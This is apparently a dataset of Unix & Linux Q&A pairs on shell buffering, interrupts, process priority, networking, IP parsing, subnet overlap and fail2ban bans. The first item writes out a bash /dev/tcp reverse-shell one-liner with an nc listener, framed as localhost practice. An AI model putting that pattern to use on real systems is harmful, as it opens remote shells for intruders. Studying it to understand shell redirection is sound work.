output
stringlengths
9
26.3k
input
stringlengths
26
29.8k
instruction
stringlengths
14
159
0<&116-;No idea what this is supposed to achieve, other than trigger an error (unless the fd 116 is already open, in which case it won't do anything notable, either). Confuse the reader?exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/shEven if you redirected the stdin, stdout and stderr of the current shell through the socket to the listening nc, the current terminal is still the controlling terminal of the shell. A ^C in the current terminal will send a SIGINT to the foreground job, which (if not waiting for another command) is the shell itself, which being interactive, will catch the SIGINT and reprint its prompt upon catching it. A ^C in the other terminal (where nc -l .. is running, and where the shell is getting its input from and is printing its output to) will kill the nc and close all its connections, causing the shell to exit because of EOF on its stdin. Again, it's unclear what the extra /bin/sh is supposed to achieve. It will exit immediately because of EOF on the stdin or SIGPIPE/EPIPE on the stdout it has inherited from its parent (the broken connection to nc).
I've been practicing my Bash skills by creating reverse shells using various redirection operators. After having set up a nc listener: nc -lvp 4444 I run the following command: 0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh What I can't explain is why the /bin/sh shell exits after the connection disconnects, but only if the nc shell disconnects the connection by pressing ^C? If the /bin/sh shell disconnects the connection, then entering ^C in the /bin/sh shell results in a newline in the nc shell?
Redirecting all primary file descriptors using `exec` causes the shell to exit after program exists depending on which end closes the connection?
If there was too much work in a bottom half, in the form of a softirq: ksoftirqd, which runs as a kernel thread, and hence receives only its "fair" allocation of the CPU v.s. other processes. With a recent fix around 2016, specifically because of the networking case you mention. https://lwn.net/Articles/687617/ I think the top half doesn't need to be re-enabled until the softirq has processed all known packets. However, this might be specific to NAPI. You can look e.g. at earlier articles about NAPI from LWN.net. https://lwn.net/Articles/30107/ https://lwn.net/Articles/214457/ https://lwn.net/Articles/244640/A driver MAY continue using the old 2.4 technique for interfacing to the network stack and not benefit from the NAPI changes. NAPI additions to the kernel do not break backward compatibility. NAPI, however, requires the following features to be available: A) DMA ring or enough RAM to store packets in software devices. B) Ability to turn off interrupts or maybe events that send packets up the stack.-- https://lwn.net/2002/0321/a/napi-howto.php3
Let's say my network interface is receiving too many packets and I have a single-core processor. What stops it (if anything) to keep interrupting the kernel and essentially monopolize the CPU (top-half after top-half)?
Can a hardware generating too many interruptions monopolize a CPU?
You suffer from pipe buffering. Usually output to non interactive terminal is buffered to 4Kb blocks until delivered via pipe, so you have to disable it. You could alter your command line like this: $ stdbuf -oL ping 10.1.10.28 | perl -ne '$|=1; /time=(\d+\.\d+)/ && print "$1\n"' > filestdbuf is part of coreutils. $|=1; is the way to disable output buffering in perl. P.D. I have removed the extra "10" in the ping command.
I am trying to get ping to continuously write some times to a file. When I run $ ping 10 10.1.10.28 | perl -ne '/time=(\d+\.\d+)/ && print "$1\n"'It returns one number every several milliseconds: $ ping 10 10.1.10.28 | perl -ne '/time=(\d+\.\d+)/ && print "$1\n"' 191.523 312.225 127.506However, when I redirect that to a file, and tail -f that file elsewhere, nothing happens. When I hit Ctrl-C, nothing is written to the file. How can I force ping to write to STDOUT as new data comes in?
Force ping to write before interrupt
I do not believe this has anything to do with interrupts or their order. Rather you could try setting the nice value so that not all of the system's resources can be strictly used by the installation process of Xilinx. When invoking processes you can specify how "nice" or "not nice" they should be to other processes on the system using the nice command. Using nice excerpt nice man pageRun COMMAND with an adjusted niceness, which affects process scheduling. With no COMMAND, print the current niceness. Niceness values range from -20 (most favorable to the process) to 19 (least favorable to the process).This is saying that if you want your process to be more aggressive than the other processes and take all your system's resources, then set the nice value closer to -20. If you want your process to be nice, and let other processes have the resources before itself, then set the nice value to 19. So you could try running the installer with say: $ nice -10 <install cmd>This would force the installer to be "nicer", setting its nice value to 10, and less aggressive about taking all of your system's resources. NOTE: This would make it more aggressive: $ sudo --19 <install cmd>You can see a processes nice value like so, using ps: $ ps -eafl | head -10 F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD 4 S root 1 0 0 80 0 - 12785 ep_pol Sep17 ? 00:01:15 /usr/lib/systemd/systemd --switched-root --system --deserialize 20 1 S root 2 0 0 80 0 - 0 kthrea Sep17 ? 00:00:03 [kthreadd] 1 S root 3 2 0 80 0 - 0 smpboo Sep17 ? 00:00:50 [ksoftirqd/0] 1 S root 5 2 0 60 -20 - 0 worker Sep17 ? 00:00:00 [kworker/0:0H] 1 S root 7 2 0 80 0 - 0 rcu_gp Sep17 ? 00:15:55 [rcu_sched] 1 S root 8 2 0 80 0 - 0 rcu_gp Sep17 ? 00:00:00 [rcu_bh] 1 S root 9 2 0 -40 - - 0 smpboo Sep17 ? 00:00:51 [migration/0] 5 S root 10 2 0 -40 - - 0 smpboo Sep17 ? 00:00:03 [watchdog/0] 5 S root 11 2 0 -40 - - 0 smpboo Sep17 ? 00:00:05 [watchdog/1]NOTE: The above column, NI, is each process's nice value. By default, processes typically have it set to 0, when it's unspecified. Using renice To can also change a running process's nice value using the command, renice. Example Say I have this process running at nice = 10. $ nice -10 sleep 2000 & $ ps -eafl | grep "[s]leep" 0 S saml 19675 14949 0 90 10 - 26973 hrtime 03:26 pts/0 00:00:00 sleep 2000Now renice it to 15. $ renice -n 15 -p 19675 19675 (process ID) old priority 10, new priority 15 $ ps -eafl | grep "[s]leep" 0 S saml 19675 14949 0 95 15 - 26973 hrtime 03:26 pts/0 00:00:00 sleep 2000
I'm using Arch Linux. Before Arch, I was using Kubuntu. I have a Intel i7 processor with 7200 RPM hard drive. When I'm installing software (not from package managers, but a big proprietary one such as Xilinx software), the cursor is completely laggy and unusable. Under Windows, even though the computer could be sluggish sometimes, it never freezes the cursor until completion. I think this is due to interrupt order. The question is how can I change the interrupt of the touchpad? If it is not interrupt, what can be the cause?
Changing touchpad interrupt
Normally holding the power button down for at least 4 seconds should force the power to switch off (it's implemented in hardware), but on laptops, there might be a separate "forced power off" button that needs an untwisted paperclip or a similar tool to press. Knowing the exact model of your laptop would help greatly in finding an answer to this question. What you're seeing is a side effect of the computer reading data from disk much, much faster than it can display in text form. Even though Ctrl+C should technically work, the problem is that there is just so much data already read and "in the pipeline" going to the display that you won't be seeing the effect of the keyboard interrupt very soon.
I have made a huge mistake. I'm currently loaded into initramfs, trying to fix an error similar to this post. I decided to cat /dev/XXXX, where I'm pretty sure XXXX is the main partition where Ubuntu is installed. It's like 300+ GB. So now it's just printing constantly to the screen (mostly gibberish). I apparently have no way to interrupt, nor even to hard-reset the computer (presumably because the power button doesn't work in initramfs). Every time I've needed to reset the computer previously, I've had to use poweroff -f... obviously that's not an option. Any amount of ctrl + c, ctrl + z, ctrl + \, etc., doesn't seem to work. Any suggestions other than just letting my computer run until it either finishes cating, or the battery dies? edit: if it wasn't clear, this is on a laptop, so I can't even directly unplug the power supply without opening the thing up, which would be super dangerous anyway
how to interrupt command initramfs
It is confirmed to be configurable. And below explanation is in Linux background. The project on which I am working requires configuring host LVTERR as NMI. After it had been done, the apic error message kept logging out (you can get it by adding apic=debug to cmd line). At first, I suspect it is due to the wrong configure to LVTERR on AMD since it has a different depiction to Intel, while most time they are identical. To check it out, I added some print statements and determined that the error handler for NMI LVTERR is located on do_nmi(). Moreover, I add some print statements with LVTERR's configure reverted. And it turns out the buggy apic error message was always there.
In fact, the message type / delivery mode of LVTERR on Intel is unconfigured.However, on AMD, it is presented as below.The problem is, when I configure the MT of LVTERR on AMD as NMI, it will keep causing APIC error. I am not sure about the exactly reason. Any help?
Can APIC LVTERR on AMD be configured as NMI message type?
Exactly the same. However if we are processing an interrupt then possibly nothing, or nothing until we finish. What we do in all cases:unconditionally save mode, and set mode to supervisor mode (done by hardware. Triggered by interrupt) unconditionally save state and switch stack run interrupt code unconditionally switch stack back, restore state and restore modeThe phrase "set mode to supervisor mode", could be read as any of these:ensure that mode is supervisor mode. write a one into the S bit of the status registerInterrupting an interrupt There are possibly multiple (but finite) interrupt priority levels. There will be a stack for each level. An interrupt can only be interrupted by a higher priority of interrupt. Lower priority interrupts, can be blocked by higher priority. This solves most of the problems, not stacks can't get corrupted. However lower priority interrupts can be blocked (including user processes. These are the lowest interrupt priority). Therefore, It is important to ensure that interrupts are fast (not much code), especially for higher priority interrupts: Get the job done and exit, have a lower priority interrupt (such as a user process) do the bit that takes time. Stacks A kernel can use the same stack as the process, when a process calls into the kernel (synchronise call: using a syscall in the code of a program). A kernel will also have a stack for each interrupt priority level. See section on interrupting an interrupt.
I know how interrupt handling works (switching mode, saving registers, changing stack ...). However, I am curious, what if an interrupt happens while we are still in kernel mode, and not in user mode?
Handling an interrupt while being on kernel [closed]
The problem might be that Wireshark does not resolve IP addresses to host names and presence of host name filter does not enable this resolution automatically. To make host name filter work enable DNS resolution in settings. To do so go to menu "View > Name Resolution" And enable necessary options "Resolve * Addresses" (or just enable all of them if not sure :).
Display filter in form ip.src_host eq my.host.name.com yields no matching packets, but there is traffic to and from this host. DNS name is resolved successfully, and filters using ip addresses like ip.src eq 123.210.123.210 work as expected.
How to filter by host name in Wireshark?
The zeroconf protocol suite (Wikipedia) could provide this information. The best known implementations are AllJoyn (Windows and others), Bonjour (Apple), Avahi (UNIX/Linux). Example showing a list of everything on a LAN (in this case not very much): avahi-browse --all --terminate + ens18 IPv6 Canon MG6650 _privet._tcp local + ens18 IPv4 Canon MG6650 _privet._tcp local + ens18 IPv6 Canon MG6650 Internet Printer local + ens18 IPv4 Canon MG6650 Internet Printer local + ens18 IPv6 Canon MG6650 UNIX Printer local + ens18 IPv4 Canon MG6650 UNIX Printer local + ens18 IPv6 Canon MG6650 _scanner._tcp local + ens18 IPv4 Canon MG6650 _scanner._tcp local + ens18 IPv6 Canon MG6650 _canon-bjnp1._tcp local + ens18 IPv4 Canon MG6650 _canon-bjnp1._tcp local + ens18 IPv6 Canon MG6650 Web Site local + ens18 IPv4 Canon MG6650 Web Site local + ens18 IPv6 SERVER _device-info._tcp local + ens18 IPv4 SERVER _device-info._tcp local + ens18 IPv6 SERVER Microsoft Windows Network local + ens18 IPv4 SERVER Microsoft Windows Network localMore specifically, you can use avahi-resolve-address to resolve an address to a name. Example avahi-resolve-address 192.168.1.254 192.168.1.254 router.roaima...
How can you determine the hostname associated with an IP on the network? (without configuring a reverse DNS) This was something that I thought was impossible. However I've been using Fing on my mobile. It is capable of finding every device on my network (presumably using an arp-scan) and listing them with a hostname. For example, this app is capable of finding freshly installed Debian Linux devices plugged into a home router, with no apparent reverse DNS. As far as I know neither ping, nor Neighbor Discovery, nor arp include a hostname. So how can fing be getting this for a freshly installed Linux PC? What other protocol on a Linux machine would give out the machine's configured hostname?
How can you determine the hostname associated with an IP on the network?
I'm not quite sure exactly what you're trying to accomplish. I am assuming that your question could be re-titled "How to set up two IPs on a single network interface." Each network interface on your machine is given an identifier. Typically, you start with eth0 and work your way up (eth1, eth2, eth3). These are all physically different network cards. You can also have virtual cards on top of each of your physical cards. This is how you would set up multiple IPs on the same NIC. To set this up, you can use the following example, changing the addresses to suit your needs (/etc/network/interfaces): # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5).# The loopback network interface auto lo iface lo inet loopback# The primary network interface auto eth0 eth0:0 allow-hotplug eth0 eth0:0#eth0 iface eth0 inet static address 123.123.123.123 netmask 255.255.255.0 gateway 123.123.123.1#eth0:0 (LAN) iface eth0:0 inet static address 212.212.212.212 netmask 255.255.128.0 gateway 212.212.212.1The tricky part could be the netmask. Try 255.255.255.0 if you aren't sure.
I have a dedicated server with one network card in it. I however got two IP addresses. When I use the simple command sudo ip addr add 188.40.90.88 dev eth0 it fails to see it as a separate IP. I've googled along trying to find a fix, but I can't really find out what packages I need to set up a switch, and how to do it. My dedicated server runs with the following specifications:16GB DDR3 RAM ( intel i7 ) OS: ubuntu 14.01These are the two most important ones, I believe; I've got no idea what network card my dedicated server has, but I know it supports IEEE 802.1q, which I found out on the Ubuntu website.
Two IPs on one NIC ( network card ) [closed]
Yes you can with the tools @pawel7318 mentioned. dig dig @nameserver hostnamenslookup nslookup hostname nameserverhost host hostname nameserver
For my task, I need to block some hostnames, but since some websites may reply with different IP addresses to different DNS queries (for example, Google DNS and any other DNS server), I'd like to resolve same hostname using different DNS servers to get as many possible IP addresses as possible. Can I solve this task using command line utilities on Ubuntu 16+? Are there any alternative solutions? In short: I'd like to resolve "example.com" to IP using DNS #A and resolve "example.com" to IP using DNS #B without making any serious changes to my network configuration.
How can I resolve hostname to ip using different DNS servers?
Here are a few bits for you. First, a script in Bash, so not very efficient. It doesn't do exactly what you want, because it only checks one pair of subnets and reports the overlap. Below the script a few rough shell commands follow, thought the result is not presented in the form you want. So you need to integrate and adjust the whole bunch to your needs, or treat them as a sketch illustrating the logic. #!/usr/bin/env bashsubnet1="$1" subnet2="$2"# calculate min and max of subnet1 # calculate min and max of subnet2 # find the common range (check_overlap) # print it if there is oneread_range () { IFS=/ read ip mask <<<"$1" IFS=. read -a octets <<< "$ip"; set -- "${octets[@]}"; min_ip=$(($1*256*256*256 + $2*256*256 + $3*256 + $4)); host=$((32-mask)) max_ip=$(($min_ip+(2**host)-1)) printf "%d-%d\n" "$min_ip" "$max_ip" }check_overlap () { IFS=- read min1 max1 <<<"$1"; IFS=- read min2 max2 <<<"$2"; if [ "$max1" -lt "$min2" ] || [ "$max2" -lt "$min1" ]; then return; fi [ "$max1" -ge "$max2" ] && max="$max2" || max="$max1" [ "$min1" -le "$min2" ] && min="$min2" || min="$min1" printf "%s-%s\n" "$(to_octets $min)" "$(to_octets $max)" }to_octets () { first=$(($1>>24)) second=$((($1&(256*256*255))>>16)) third=$((($1&(256*255))>>8)) fourth=$(($1&255)) printf "%d.%d.%d.%d\n" "$first" "$second" "$third" "$fourth" }range1="$(read_range $subnet1)" range2="$(read_range $subnet2)" overlap="$(check_overlap $range1 $range2)" [ -n "$overlap" ] && echo "Overlap $overlap of $subnet1 and $subnet2"The usage and result are these: $ ./overlap.bash 194.33.26.0/26 194.33.24.0/22 Overlap 194.33.26.0-194.33.26.63 of 194.33.26.0/26 and 194.33.24.0/22Now given your first list of subnets is in file list and the subnets to check are in the file to_check, you can use the script to find all overlaps. $ while read l; do list+=("$l"); done < list $ while read t; do to_check+=("$t"); done < to_check $ for i in "${list[@]}"; do for j in "${to_check[@]}"; do \ ./overlap.bash "$i" "$j"; done; doneThis is the result: Overlap 194.33.26.0-194.33.26.63 of 194.33.24.0/22 and 194.33.26.0/26 Overlap 188.115.195.88-188.115.195.95 of 188.115.195.80/28 and 188.115.195.88/29 Overlap 41.202.219.32-41.202.219.63 of 41.202.219.32/27 and 41.202.219.0/24 Overlap 41.202.219.128-41.202.219.135 of 41.202.219.128/29 and 41.202.219.0/24 Overlap 41.202.219.208-41.202.219.223 of 41.202.219.208/28 and 41.202.219.0/24 Overlap 41.202.219.136-41.202.219.143 of 41.202.219.136/29 and 41.202.219.0/24 Overlap 197.157.209.128-197.157.209.143 of 197.157.209.0/24 and 197.157.209.128/28As you can see, 41.202.219.0/24 has four overlaps, contrary to your expectations in your question. To get only the subnets with no overlaps with the first list, the script would be much shorter. You don't need the to_octets function and the check_overlap function can already give result on this line: if [ "$max1" -lt "$min2" ] || [ "$max2" -lt "$min1" ]; then return; fiAlso the last two lines can can be changed (with the last one removed completely). As for the integration logic, there's place for short-circuiting the checking against the first list, as not all combinations have to be checked. One negative is enough.
I want to know if there's a way to check if some subnets are (or not) overlapped with a List of IPs For example, we have this List: 197.26.9.128/25 193.36.81.128/25 194.33.24.0/22 188.115.195.80/28 188.115.195.64/28 185.59.69.96/28 185.59.69.32/27 41.202.219.32/27 41.202.219.128/29 154.70.120.16/28 154.70.120.32/28 154.70.120.0/28 41.202.219.208/28 41.202.219.136/29 197.157.209.0/24and I want to check if the following IPs are overlapped with the previous list. 197.26.9.0/26 194.33.26.0/26 (IP overlapped with 194.33.24.0/22) 188.115.195.88/29 (IP overlapped with 188.115.195.80/28) 41.202.219.0/24 197.157.209.128/28 (IP overlapped with 197.157.209.0/24)The output would be the next: 197.26.9.0/26 41.202.219.0/24
Check overlapped subnets
You mean whatever routable IP your dsl/cable modem/etc. router has? You need to either query that device OR ask an outside server what IP it sees when you connect to it. The easiest way of doing that is to search google for "what is my ip" and like the calculation searches, it will tell you in the first search result. If you want to do it from the command line, you'll need to check the output of some script out there that will echo out the information. The dynamic dns service dyndns.org has one that you can use - try this command wget http://checkip.dyndns.org -O - You should get something like HTTP request sent, awaiting response... 200 OK Length: 105 [text/html] Saving to: ‘STDOUT’- 0%[ ] 0 --.-KB/s <html><head><title>Current IP Check</title></head><body>Current IP Address: 192.168.1.199</body></html> - 100%[===================>] 105 --.-KB/s in 0s 2017-09-20 14:16:00 (15.4 MB/s) - written to stdout [105/105]I've changed the IP in mine to a generic non-routable and bolded it for you. If you want just the IP, you'll need to parse it out of there - quick and dirty, but it works for me. And I'm 100% sure there is a better safer way of doing it... wget http://checkip.dyndns.org -O - | grep IP | cut -f 2- -d : | cut -f 1 -d \< Which will give you just 192.168.1.199
I'm using Debian 8. How do I get my external IP address from a command line? I thought the below command would do the job ... myuser@myserver:~ $ /sbin/ifconfig $1 | grep "inet\|inet6" | awk -F' ' '{print $2}' | awk '{print $1}' addr:192.168.0.114 addr: addr:127.0.0.1 addr:but as you can see, it is only revealing the IP address of the machine in the LAN. I'm interested in knowing its IP for the whole world.
How do I get my IP address from the command line? [duplicate]
In short, they are two different interfaces (192.168.1.97 vs 127.0.0.1), and may have different firewall rules applied and/or services listening. Being on the same machine means relatively little.
According to https://networkengineering.stackexchange.com/a/57909/, a packet sent to 192.168.1.97 "doesn't leave the host but is treated like a packet received from the network, addressed to 192.168.1.97." So same as sending a packet to loop back 127.0.0.1. why does nmap 127.0.0.1 return more services than nmap 192.168.1.97? Does nmap 127.0.0.1 necessarily also return those services returned by nmap 192.168.1.97? Does a server listening at 192.168.1.97 necessarily also listen at 127.0.0.1? $ nmap -p0-65535 192.168.1.97Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-23 19:18 EDT Nmap scan report for ocean (192.168.1.97) Host is up (0.00039s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 3306/tcp open mysql 33060/tcp open mysqlxNmap done: 1 IP address (1 host up) scanned in 9.55 seconds$ nmap -p0-65535 localhostStarting Nmap 7.60 ( https://nmap.org ) at 2019-03-23 19:18 EDT Nmap scan report for localhost (127.0.0.1) Host is up (0.00033s latency). Other addresses for localhost (not scanned): Not shown: 65529 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 631/tcp open ipp 3306/tcp open mysql 5432/tcp open postgresql 9050/tcp open tor-socks 33060/tcp open mysqlxNmap done: 1 IP address (1 host up) scanned in 5.39 secondsThanks.
why `nmap 192.168.1.97` returns less services than `nmap 127.0.0.1`? [duplicate]
fail2ban can be configured for permanent bans by setting bantine to -1 In jail.conf bantime = -1 These will be lost on a reboot, but that's not necessarily a bad thing because so many attempts will be transient from pwned home machines in a botnet... If you want persistence, then https://arno0x0x.wordpress.com/2015/12/30/fail2ban-permanent-persistent-bans/ may give some guidance. Essentially modifying the fail2ban config to create a persistent configuration file of all the banned IPs, and have iptables load this list on reboot... So if you check your default jail.conf you may find the default action is iptables-multiport. This corresponds to the configuration file /etc/fail2ban/ction.d/iptables-multiport.conf We can add the following entries: [Definition] # Option: actionstart # Notes.: command executed once at the start of Fail2Ban. # Values: CMD # actionstart = iptables -N fail2ban-<name> iptables -A fail2ban-<name> -j RETURN iptables -I <chain> -p <protocol> -m multiport --dports <port> -j fail2ban-<name> cat /etc/fail2ban/persistent.bans | awk '/^fail2ban-<name>/ {print $2}' \ | while read IP; do iptables -I fail2ban-<name> 1 -s $IP -j <blocktype>; done# Option: actionstop # Notes.: command executed once at the end of Fail2Ban # Values: CMD # actionstop = iptables -D <chain> -p <protocol> -m multiport --dports <port> -j fail2ban-<name> iptables -F fail2ban-<name> iptables -X fail2ban-<name># Option: actioncheck # Notes.: command executed once before each actionban command # Values: CMD # actioncheck = iptables -n -L <chain> | grep -q 'fail2ban-<name>[ \t]'# Option: actionban # Notes.: command executed when banning an IP. Take care that the # command is executed with Fail2Ban user rights. # Tags: See jail.conf(5) man page # Values: CMD # actionban = iptables -I fail2ban-<name> 1 -s <ip> -j <blocktype> echo "fail2ban-<name> <ip>" >> /etc/fail2ban/persistent.bansNow, when fail2ban flags an entry it will add a line to /etc/fail2ban/persistent.bans (via the actionban configuration). When fail2ban starts up it calls actionstart which reads this file and builds the iptables rules necessary. Of course, fail2ban needs restarting after any of the configuration files are changed. All credit to "arno0x0x" and his wordpress site for this recipe.
Currently I have been using iptables on a new Debian server running Asterisk. Every day I have been checking auth.log for IP addresses and manually doing iptables -A INPUT -s IPA.DRE.SS.0/24 -j DROP I was initially doing just IP addresses but many hits were coming from similar IP addresses so /24 has been working better, I have used /16 a couple of times. Already I have hundreds of iptables entries and this is getting out of control! I know there must be an easier way to do this. fail2ban has been recommended to me but it seems it blocks IPs only temporarily after a certain # of attempts. The two main intrusion attempts I see are using false usernames and random ports. Is it possible to, if an attempt is made to login with any username I am not currently using, to automatically permanently block the IP address? Same with ports that are not in use? I also see a lot like this: Did not receive identification string from (malicious IP) port 48334I'd like to ban those IPs too. I won't automatically block incorrect login attempts as if I fat-finger the password that could lock me out. But perhaps a permanent ban on an IP after 3 attempts will suffice. Can I do this with iptables? I haven't found anything regarding "permanent bans" that work like this, it seems it just works more in the moment. I'd more or less like to accomplish what I've been doing manually; permanently blocking IP ranges after a single wrong username login, a single wrong port connection, or 3 incorrect login attempts (with correct username). I'm hoping this will prevent auth.log from getting spammed.
How to automatically permanently ban IP addresses?
But it does work. The correct answer appears to be already in your question. $ cat in.log http://example.mx https://test.com http://4.3.4.4 http://dev.somedomain.com http://1.3.4.2 $ cat in.log | sed '/^http:\/\/[0-9]/d' > out.log $ cat out.log http://example.mx https://test.com http://dev.somedomain.com $
I have a file like: http://example.mx https://test.com http://4.3.4.4 http://dev.somedomain.com http://1.3.4.2I want to get rid of the ones with IPs so that the result should be: http://example.mx https://test.com http://dev.somedomain.comWhat I did is: cat in.log | sed '/^http:\/\/[0-9]/d' > out.logBut it does not work.
How to remove lines containing IP address? [closed]
easy: ssh remotehost "/sbin/ip addr" Reason, the remote shell launched by ssh command to execute ip, have not ENV or just a basic one, and ip is not in the $PATH of the remote shell. So either you specify the full path of the command, or you source a working environment in the remote shell before running command.
I want to run for example this command : ip addr on my remote system. I do it like this : ssh username@ip ip addrbut I got this error : bash: ip: command not foundwhen I connect to remote system and then run this command it is ok, I mean it is not caused by uninstalled package. I want to get the result without connecting permanently.
bash: ip: command not found
All I had to do was initialize a DHCP server with the proper netname (e.g. mynetwork) running the following command: $ VBoxManage dhcpserver add --netname mynetwork --ip 11.11.11.1 --netmask 255.255.255.0 --lowerip 11.11.11.3 --upperip 11.11.11.20 --enable Of course also the ips depend on what you need.
I created a virtual machine with a CLI iso of Lubuntu 16.04 with VirtualBox. Now I need several machines with the same characteristics (but different IPs, in order to test a C network application I wrote), so I cloned the first one. I changed the network settings of both machines so they both would have a network adapter attached to an internal network with the same name. If I try to run $ ifconfig on both machines I get the same IP (i.e. 10.0.2.15). Why? How to get different IPs? Here's what's inside /etc/network/interfaces of both machines: # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5).source /etc/network/interfaces.d/*# The loopback network interface auto lo iface lo inet loopback# The primary network interface auto enp0s3 iface enp0s3 inet dhcp
How to get different IPs on cloned machines with VirtualBox?
You could use the characters () as field separators instead of whitespace: arp -a | awk -F'[()]' '{print $2}' | head -1
I need to parse the command arp -a to get only the ip of the device. Right now I have arp -a | awk '{print $2}' | head -1 However this gives me (192.168.1.71) and I must remove the ( ) from the output. How can this be done?
Parse command arp -a for only ip
The following answer uses awk and addresses the fact that a valid IPv4 address is not simply 4 tuples of up to 3 digits, but also the constraint on digits being smaller than 256: awk -v dummy="192.168.0.0" -F'.' 'NF!=4 {$0=dummy} NF==4 {for (i=1;i<=4;i++) {if ( !($i~/^[0-9]{1,3}$/) || $i>255) {$0=dummy;break}}} 1' input.txtThis will specify the dummy IP as variable dummy. It will then consider the . as field separator and check ifthere are exactly 4 fields, and if each field consists of only 1-3 digits, with the resulting number being smaller than 256If any condition is not met, replace the line with the dummy IP. After processing, the line (including any modifications made) is printed. Note that your proposed RegExp would not only accept byte fields larger than 255, but for lack of anchoring also lines where only a sub-string happens to match "4 numbers of 1-3 digits, separated by periods".
I have a file with a list of IP addresses, but some of the strings are not IP addresses and I want to replace such strings with a dummy IP address. I am using this grep to search for IP; but don't know how to replace what does not match with a dummy IP address. I believe this can be done with sed. I tried few things but none of them worked. cat file.txt | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'I have this sed to match IP addresses in the file, but I have no idea how to replace non IP addresses with a dummy IP. sed -rn '/([0-9]{1,3}\.){3}[0-9]{1,3}/p' file.txtInput: 192.168.10.20 00 03 10.28.214.5 192.168.10.40 BF 192.168.10.50Desired Output: 192.168.10.20 192.168.0.0 10.28.214.5 192.168.10.40 192.168.0.0 192.168.10.50Thanks!
How to replace a string that does NOT match IP address with a dummy IP address?
[0-9] matches any digit. [0-9]\{1,3\} matches between 1 and 3 digits (note that this will accept leading zeroes. Therefore, sed -i -e 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/127.0.0.1/g' /.../myfile.txtshould do roughly what you want. It will match some invalid addresses, but will probably do the job. For a more advanced option see link from @steeldriver in comments
I'm trying to do an in-place replacement of an IP address in a file using sed. I know that . is a wildcard, so I've tried doing the following: sed -i -e 's/.\..\..\..\./127.0.0.1/g' /.../myfile.txt however I'm not sure how many digits each section of the IP address could be (1-3), and I'm also not sure if my escape works as well. Any advice? Much appreciated
Sed: Replace ANY IP address with 127.0.0.1 [duplicate]
Indeed there doesn't appear to be much useful difference, but there's at least one: the way a secondary address is handled won't change, whether a route is added or not. When a 2nd address is added to the same interface as an other address with the same netmask within the same network, it's classified as a secondary address. When the first address (primary, without the secondary property) is removed, all other matching addresses in the same IP LAN, all secondaries, are also removed. Example:from scratch: # ip addr flush dev eth0add the main address (the first): # ip addr add noprefixroute 10.137.0.36/16 dev eth0add an other address within the same IP LAN, using the same netmask # ip addr add noprefixroute 10.137.0.42/16 dev eth0check current state # ip route # ip addr show dev eth0 2: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 0e:00:00:74:02:fd brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.137.0.36/16 scope global noprefixroute eth0 valid_lft forever preferred_lft forever inet 10.137.0.42/16 scope global secondary noprefixroute eth0 valid_lft forever preferred_lft foreverremove primary (first) and witness 2nd gone too # ip addr del 10.137.0.36/16 dev eth0 # ip addr show dev eth0 2: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 0e:00:00:74:02:fd brd ff:ff:ff:ff:ff:ff link-netnsid 0This wouldn't have happened with two /32 because they would both be considered primary addresses (Using /32 they are not part of the same IP LAN). By the way, there's a parameter to promote a secondary as primary instead of deleting all secondaries: promote_secondaries. Conclusion: noprefixroute affects creation of routes, but not other properties linked to addresses. I don't know if there are more visible differences. Maybe something can be found with ARP when settings such as arp_ignore or arp_announce are changed from their permissive default: unlike arp_filter their description is about addresses, not routes.
When assigning an ip address to a network interface with ip addr add noprefixroute, what effect will the specified prefix length have? When noprefixroute is not used, the prefix length is used to automatically create and delete a route for the network prefix of the added address. Does it have any function other than that? For example, what is the difference between ip addr add noprefixroute 10.137.0.36/16 dev eth0and ip addr add noprefixroute 10.137.0.36/32 dev eth0?
Meaning of prefix length with ip addr add noprefixroute
Something like this works here: busybox grep -E '^\[(([0-9]{1,3}\.){3}[0-9]{1,3},)*([0-9]{1,3}\.){3}[0-9]{1,3}\]$'(busybox isn't my default grep, hence the "busybox" prefix). That should mostly validate your list, though it isn't perfect. E.g., it'll accept 300.1.2.4 as a valid IP address. The regexp to fully validate that four dot-separated numbers represent a valid subnet start address would be much more complicated. To break it down: First, note that part of it is repeated. Call that I for a second. Then you can see it's ^\[(I,)*I\]$ which gets you your comma-separated list of Is, with brackets around the entire list. If you then look at what I is, it's ([0-9]{1,3}\.){3}[0-9]{1,3} which is simpler if you notice another repeated pattern, O = [0-9]{1,3}. It's then (O.){1,3}O ... which is your four decimal-separated octets. In a shell script, you can of course use variables to build the pattern from these simpler building blocks—a great aid to readability and maintainability. I tested with the following test data (with expected result as a comment, not actually in the test data file): 1.2.3.4 # bad: no brackets [1.2.3.4] # good [1.2.3.44] # good [1.2.3.4 # bad: missing bracket 1.2.3.4] # bad: missing bracket [1.2.3.4,] # bad: empty item [1.2.3.4,5.6.7.8] # good [1.2.3.4,5.6.7.8,] # bad: empty item [1.2.3.4,5.6.7.E] # bad: E is not a number [1.2.3.4,,5.6.7.8] # bad: empty item [1.2.3.1234] # bad: 1234 is more than 3 digitsedit: you could use O = ([0-9]{1,2}|[0-1][0-9]{2}|2[0-4][0-9]|25[0-5])— there may be a simpler way to write that, not sure— to only take numbers 0–255; that leads to a much longer pattern: busybox grep -E '^\[((([0-9]{1,2}|[0-1][0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]{1,2}|[0-1][0-9]{2}|2[0-4][0-9]|25[0-5]),)*(([0-9]{1,2}|[0-1][0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]{1,2}|[0-1][0-9]{2}|2[0-4][0-9]|25[0-5])\]$'... which may or may not be worth it, depending on how important it is to fully validate them.
